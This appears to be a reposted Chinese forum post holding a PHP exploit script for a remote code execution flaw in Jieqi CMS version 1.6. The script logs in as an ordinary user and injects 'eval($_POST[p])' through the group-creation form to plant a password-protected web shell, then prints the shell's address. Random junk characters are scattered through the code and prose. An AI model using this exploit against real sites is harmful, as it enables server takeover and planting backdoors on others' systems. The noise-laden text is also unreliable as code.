杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。7 _7 p( ?5 ~* Q7 P
2 R& ^( Q7 Y1 C5 m/ l - c! ]2 a# G2 r* E
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。( ^6 y2 f4 p; I* Y5 G3 T2 I
需要有一个能创建圈子的用户。9 h# G3 B6 d/ {% H2 P- k
; y5 s0 D) v5 R; H<?php
) h) e0 k1 T# p" i
3 I( }2 T" y) T1 s2 W! O1 dprint_r('# ^4 \8 B: ?0 x1 Y7 @6 S1 W
+---------------------------------------------------------------------------+( D( L+ E1 B/ n/ P, \
Jieqi CMS V1.6 PHP Code Injection Exploit& I8 A5 y) O1 J/ o- u" i+ k% X
by flyh4t( M" `4 ?! E- }* |( [
mail: phpsec at hotmail dot com
3 g1 a- V5 a3 p: Eteam: http://www.wolvez.org
8 l" J8 H+ w* g( @5 B" E- M9 e$ k+---------------------------------------------------------------------------+' B8 w/ q! @9 P* O" V. j; T/ _
'); /**
g" w- `$ ^ n; W/ p * works regardless of php.ini settings
x/ V; U1 n" f% C' s* i*/ if ($argc < 5) { print_r('
& u8 ?+ ?3 v/ [/ Y% }: z- E+---------------------------------------------------------------------------+8 k' _: H6 t: f. t$ [) h
Usage: php '.$argv[0].' host path username
8 _' a, k2 e3 f; f' d! ]host: target server (ip/hostname)
! s' Q) X9 j# H; Q) Epath: path to jieqicms ' i. O' k* @# U; u
uasename: a username who can create group
/ L. n# x8 g' H* j6 [Example:
+ w1 X4 W3 a7 }6 jphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password" p, [" j' t5 l9 @1 \7 P7 }
+---------------------------------------------------------------------------+* ~# N% Y/ k+ D
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------232811682799610 z/ ]0 O' E: L7 e# P9 x9 c r. P
Content-Disposition: form-data; name="gname"& k8 `/ P0 L# q7 g: p
- f% R* e9 z2 j# _0 q8 F& [5 P. X'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
f4 h' ?$ e* _; B/ E. h$ _$ a-----------------------------23281168279961. B0 E; s8 |' v3 e7 i. o
Content-Disposition: form-data; name="gcatid" o9 n7 r/ z, t( ?8 ~, C4 t8 X
( j) _4 j: d) R* a8 F
1
' G9 ^% L/ c2 R* p. O-----------------------------23281168279961
4 O/ h O/ t$ r( Y' b: aContent-Disposition: form-data; name="gaudit"
3 L, V$ ], Y: H
7 V; }7 k& n1 O1
! u3 x- z( O5 B" J, l-----------------------------23281168279961
" g7 ~1 o( J2 ^: h+ S: wContent-Disposition: form-data; name="gbrief"
6 b) k3 m$ q' G! S x" {5 E/ Z1 ^( n" _4 O
1# j! B$ o2 E8 |0 Z. P
-----------------------------23281168279961--4 P' |- c: p6 D* i
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com. o9 |/ E6 d! c o" M x* e. a$ i7 B" A
6 X |3 i. o3 Z7 @7 p/ qpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |